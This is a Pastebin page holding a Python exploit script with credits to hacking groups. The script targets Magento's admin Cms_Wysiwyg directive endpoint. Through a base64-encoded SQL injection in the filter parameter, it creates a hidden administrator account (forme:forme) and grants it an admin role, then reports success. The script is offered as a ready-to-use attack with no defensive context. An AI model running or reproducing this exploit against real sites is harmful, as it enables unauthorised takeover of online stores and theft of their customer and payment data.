Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Thanks to
- # Zero cool, code breaker ICA, Team indishell, my father , rr mam, jagriti and DON
- import requests
- import base64
- import sys
- target = "http://www.###.com/"
- if not target.startswith("http"):
- target = "http://" + target
- if target.endswith("/"):
- target = target[:-1]
- target_url = target + "/admin/Cms_Wysiwyg/directive/index/"
- q="""
- SET @SALT = 'rp';
- SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
- SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
- INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Eerstenaam','Laatstenaam','geen@idee.nl','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
- INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Eerstenaam');
- """
- query = q.replace("\n", "").format(username="forme", password="forme")
- pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)
- # e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
- r = requests.post(target_url,
- data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
- "filter": base64.b64encode(pfilter),
- "forwarded": 1})
- if r.ok:
- print ("WORKED")
- print ("Check {0}/admin with creds forme:forme".format(target))
- else:
- print ("DID NOT WORK")
Add Comment
Please, Sign In to add comment